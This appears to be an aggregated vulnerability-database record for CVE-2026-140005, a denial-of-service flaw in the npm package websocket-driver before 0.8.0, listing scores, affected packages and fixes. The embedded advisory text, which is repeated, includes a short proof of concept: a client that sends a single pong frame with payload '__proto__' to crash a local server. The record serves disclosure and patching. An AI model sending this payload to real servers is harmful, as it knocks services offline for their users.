{"id":"CVE-2026-140005","aliases":["AZL-117527","AZL-117638","CLSA-2026-1796199359","CLSA-2026-1796206185","DEBIAN-CVE-2026-140005","DHI-uti7-l4qq-4hoi-fca4","EUVD-2026-139728","GHSA-9g4r-f5gq-qjrr"],"status":"published","title":"websocket-driver: Denial of service triggered by client sending a single pong frame","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, pong payloads are used directly as property names in an ordinary JavaScript callback object, allowing inherited Object properties to be selected even when no matching ping callback was registered. An unauthenticated remote peer can send a pong whose payload names a property such as __proto__ or hasOwnProperty, causing the driver to call a non-callback value or an unbound built-in method and crash the process on Node.js v22 and below. This issue is fixed in version 0.8.0.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-12-04","score":0.00608,"percentile":0.506,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true,"poc_reported":true},"cwes":["CWE-248","CWE-754"],"published":"2026-11-30T21:29:24Z","modified":"2026-12-04T16:30:11Z","exploits":[{"source":"pocgithub","id":"googlesky/CVE-2026-140005","title":"googlesky/CVE-2026-140005","date":"2026-12-02","url":"https://github.com/googlesky/CVE-2026-140005"}],"fixes":[{"ecosystem":"npm","package":"websocket-driver","fixed_in":["0.8.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"js-jquery","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.5.0-4"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-tensorboard","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.16.2-6"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.7.5-tuxcare.0"},{"fixed":"0.7.5-tuxcare.3"}]}],"versions":["0.7.5","0.7.5-tuxcare.1","0.7.5-tuxcare.2"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.7.4-tuxcare.0"},{"fixed":"0.7.4-tuxcare.3"}]}],"versions":["0.7.4","0.7.4-tuxcare.1","0.7.4-tuxcare.2"],"bundled":5},{"source":"osv","ecosystem":"Debian:12","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"librechat-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.8-r0"}]}],"versions":["0.8.8-r0","0.8.8-r1","0.8.8-r2","0.8.8-r3","0.8.8-r4","0.8.8-r5","0.8.8-r6","0.8.9-r0","0.8.9-r1","0.8.9-r2","0.8.9-r3"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"librechat-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.8-r0"}]}],"versions":["0.8.8-r0","0.8.8-r1","0.8.8-r2","0.8.8-r3","0.8.8-r4","0.8.8-r5","0.8.8-r6","0.8.9-r0","0.8.9-r1","0.8.9-r2","0.8.9-r3"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"librechat-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.8-0"}]}],"versions":["0.8.8-0","0.8.8-1","0.8.8-2","0.8.8-3","0.8.8-4","0.8.8-5","0.8.9-0","0.8.9-1","0.8.9-2","0.8.9-3","0.8.9-4"]},{"source":"osv","ecosystem":"npm","package":"websocket-driver","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.0"}]}]}],"products":[{"vendor":"faye","product":"websocket-driver-node"}],"references":[{"url":"https://github.com/faye/websocket-driver-node/security/advisories/GHSA-9g4r-f5gq-qjrr","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/faye/websocket-driver-node/commit/b47e6e50dd13535d4d44debe367361e3af39eb82","tags":["x_refsource_MISC","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140005","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-9g4r-f5gq-qjrr","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/140xxx/CVE-2026-140005.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-140005","tags":["advisory"]},{"url":"https://scout.docker.com/v/DHI-uti7-l4qq-4hoi-fca4","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-140005","tags":["advisory"]},{"url":"http://people.ubuntu.com/~ubuntu-security/cve/CVE-2026-140005","tags":["advisory"]},{"url":"https://github.com/faye/websocket-driver-node","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-140005","title":"websocket-driver: Denial of service triggered by client sending a single pong frame","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, pong payloads are used directly as property names in an ordinary JavaScript callback object, allowing inherited Object properties to be selected even when no matching ping callback was registered. An unauthenticated remote peer can send a pong whose payload names a property such as __proto__ or hasOwnProperty, causing the driver to call a non-callback value or an unbound built-in method and crash the process on Node.js v22 and below. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T21:29:24.739Z","modified":"2026-12-01T13:48:32.834Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-248","CWE-754"],"ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","date":"2026-12-01"},"updated_at":"2026-12-01T13:56:29.25298Z"}],"euvd":[{"id":"EUVD-2026-139728","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, pong payloads are used directly as property names in an ordinary JavaScript callback object, allowing inherited Object properties to be selected even when no matching ping callback was registered. An unauthenticated remote peer can send a pong whose payload names a property such as __proto__ or hasOwnProperty, causing the driver to call a non-callback value or an unbound built-in method and crash the process on Node.js v22 and below. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T21:29:24Z","modified":"2026-12-01T13:48:32Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-12-01T21:20:38.861932Z"}],"ghsa":[{"id":"GHSA-9g4r-f5gq-qjrr","title":"websocket-driver: Denial of service triggered by client sending a single pong frame","description":"### Summary\n\nAn unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket pong frame with specific content.\n\n### Details\n\nThis library lets a WebSocket connection send a ping frame to the remote peer and register a callback for when the corresponding pong frame is received. These callbacks are stored in a JavaScript object and indexed on the ping message content. This means the remote peer can invoke Object properties by sending a pong frame whose payload is the name of an Object method, for example `hasOwnProperty`. If the message names a field whose value is not a function, and the local peer never sent a ping with that content, then the local peer will attempt to call a non-function value, producing an error that crashes the process on Node.js v22 and below.\n\n### Proof of concept\n\nGiven a server running `websocket-driver`:\n\n```js\nconst net = require('net')\nconst ws = require('websocket-driver')\n\nlet server = net.createServer((conn) =\u003e {\n  let driver = ws.server()\n\n  driver.on('connect', () =\u003e {\n    if (ws.isWebSocket(driver)) driver.start()\n  })\n\n  driver.on('close', () =\u003e conn.end())\n  conn.pipe(driver.io).pipe(conn)\n})\n\nserver.listen(8000)\n```\n\nA client can connect and send a single pong frame with content `__proto__`. This will cause the server to crash.\n\n```js\nconst net = require('net')\nconst ws = require('websocket-driver')\n\nlet driver = ws.client('ws://127.0.0.1:8000/')\nlet tcp = net.connect(8000, '127.0.0.1')\ntcp.pipe(driver.io).pipe(tcp)\n\ntcp.on('connect', () =\u003e {\n  driver.start()\n  driver.pong('__proto__')\n})\n```\n\nThe client can also cause the server to invoke any other Object method, for example `hasOwnProperty`, as an unbound function with no arguments. To the best of our knowledge, none of the built-in Object methods have any destructive effects other than to throw an exception if called incorrectly.\n\n### Impact\n\nUsers running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.","status":"published","published":"2026-12-01T18:19:11Z","modified":"2026-12-01T18:19:11Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-248","CWE-754"],"updated_at":"2026-12-01T18:30:26.63192Z"}],"nvd":[{"id":"CVE-2026-140005","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, pong payloads are used directly as property names in an ordinary JavaScript callback object, allowing inherited Object properties to be selected even when no matching ping callback was registered. An unauthenticated remote peer can send a pong whose payload names a property such as __proto__ or hasOwnProperty, causing the driver to call a non-callback value or an unbound built-in method and crash the process on Node.js v22 and below. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T22:17:30.12Z","modified":"2026-12-04T15:47:41.367Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-248","CWE-754"],"ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","date":"2026-12-01"},"updated_at":"2026-12-01T14:20:25.638744Z"}],"osv":[{"id":"CVE-2026-140005","title":"websocket-driver: Denial of service triggered by client sending a single pong frame","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, pong payloads are used directly as property names in an ordinary JavaScript callback object, allowing inherited Object properties to be selected even when no matching ping callback was registered. An unauthenticated remote peer can send a pong whose payload names a property such as __proto__ or hasOwnProperty, causing the driver to call a non-callback value or an unbound built-in method and crash the process on Node.js v22 and below. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T21:29:24.739Z","modified":"2026-12-02T20:45:36.607986134Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-248","CWE-754"],"updated_at":"2026-12-01T21:10:07.386688Z"},{"id":"DEBIAN-CVE-2026-140005","upstream":["CVE-2026-140005"],"description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, pong payloads are used directly as property names in an ordinary JavaScript callback object, allowing inherited Object properties to be selected even when no matching ping callback was registered. An unauthenticated remote peer can send a pong whose payload names a property such as __proto__ or hasOwnProperty, causing the driver to call a non-callback value or an unbound built-in method and crash the process on Node.js v22 and below. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T22:17:30.12Z","modified":"2026-12-03T08:00:17.777283053Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-12-03T08:14:48.000137Z"},{"id":"DHI-uti7-l4qq-4hoi-fca4","upstream":["CVE-2026-140005"],"title":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, pong payloads are…","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, pong payloads are used directly as property names in an ordinary JavaScript callback object, allowing inherited Object properties to be selected even when no matching ping callback was registered. An unauthenticated remote peer can send a pong whose payload names a property such as __proto__ or hasOwnProperty, causing the driver to call a non-callback value or an unbound built-in method and crash the process on Node.js v22 and below. This issue is fixed in version 0.8.0.","status":"published","published":"2026-12-01T21:53:49Z","modified":"2026-12-04T07:45:06.400446363Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-12-04T08:03:07.316311Z"},{"id":"GHSA-9g4r-f5gq-qjrr","title":"websocket-driver: Denial of service triggered by client sending a single pong frame","description":"### Summary\n\nAn unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket pong frame with specific content.\n\n### Details\n\nThis library lets a WebSocket connection send a ping frame to the remote peer and register a callback for when the corresponding pong frame is received. These callbacks are stored in a JavaScript object and indexed on the ping message content. This means the remote peer can invoke Object properties by sending a pong frame whose payload is the name of an Object method, for example `hasOwnProperty`. If the message names a field whose value is not a function, and the local peer never sent a ping with that content, then the local peer will attempt to call a non-function value, producing an error that crashes the process on Node.js v22 and below.\n\n### Proof of concept\n\nGiven a server running `websocket-driver`:\n\n```js\nconst net = require('net')\nconst ws = require('websocket-driver')\n\nlet server = net.createServer((conn) =\u003e {\n  let driver = ws.server()\n\n  driver.on('connect', () =\u003e {\n    if (ws.isWebSocket(driver)) driver.start()\n  })\n\n  driver.on('close', () =\u003e conn.end())\n  conn.pipe(driver.io).pipe(conn)\n})\n\nserver.listen(8000)\n```\n\nA client can connect and send a single pong frame with content `__proto__`. This will cause the server to crash.\n\n```js\nconst net = require('net')\nconst ws = require('websocket-driver')\n\nlet driver = ws.client('ws://127.0.0.1:8000/')\nlet tcp = net.connect(8000, '127.0.0.1')\ntcp.pipe(driver.io).pipe(tcp)\n\ntcp.on('connect', () =\u003e {\n  driver.start()\n  driver.pong('__proto__')\n})\n```\n\nThe client can also cause the server to invoke any other Object method, for example `hasOwnProperty`, as an unbound function with no arguments. To the best of our knowledge, none of the built-in Object methods have any destructive effects other than to throw an exception if called incorrectly.\n\n### Impact\n\nUsers running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.","status":"published","published":"2026-12-01T18:19:11Z","modified":"2026-12-01T18:30:04.117942728Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-248","CWE-754"],"updated_at":"2026-12-01T18:33:54.097771Z"},{"id":"AZL-117527","upstream":["CVE-2026-140005"],"title":"CVE-2026-140005 affecting package js-jquery 3.5.0-4","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, pong payloads are used directly as property names in an ordinary JavaScript callback object, allowing inherited Object properties to be selected even when no matching ping callback was registered. An unauthenticated remote peer can send a pong whose payload names a property such as __proto__ or hasOwnProperty, causing the driver to call a non-callback value or an unbound built-in method and crash the process on Node.js v22 and below. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T22:17:30Z","modified":"2026-12-03T14:17:29.32097999Z","updated_at":"2026-12-03T14:59:42.219217Z"},{"id":"AZL-117638","upstream":["CVE-2026-140005"],"title":"CVE-2026-140005 affecting package python-tensorboard 2.16.2-6","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, pong payloads are used directly as property names in an ordinary JavaScript callback object, allowing inherited Object properties to be selected even when no matching ping callback was registered. An unauthenticated remote peer can send a pong whose payload names a property such as __proto__ or hasOwnProperty, causing the driver to call a non-callback value or an unbound built-in method and crash the process on Node.js v22 and below. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T22:17:30Z","modified":"2026-12-03T14:17:43.507207339Z","updated_at":"2026-12-03T14:59:42.219217Z"},{"id":"CLSA-2026-1796199359","upstream":["CVE-2026-140001","CVE-2026-140002","CVE-2026-140003","CVE-2026-140004","CVE-2026-140005"],"title":"TuxCare security update for websocket-driver (5 CVEs)","description":"TuxCare rebuilt websocket-driver to address 5 CVEs. Fixed in 0.7.5-tuxcare.3.","status":"published","published":"2026-12-02T09:16:00Z","modified":"2026-12-04T08:15:19.204575687Z","updated_at":"2026-12-04T08:34:17.918856Z"},{"id":"CLSA-2026-1796206185","upstream":["CVE-2026-140001","CVE-2026-140002","CVE-2026-140003","CVE-2026-140004","CVE-2026-140005"],"title":"TuxCare security update for websocket-driver (5 CVEs)","description":"TuxCare rebuilt websocket-driver to address 5 CVEs. Fixed in 0.7.4-tuxcare.3.","status":"published","published":"2026-12-02T11:09:46Z","modified":"2026-12-04T16:30:11.574875224Z","updated_at":"2026-12-04T16:47:54.354282Z"}]}}
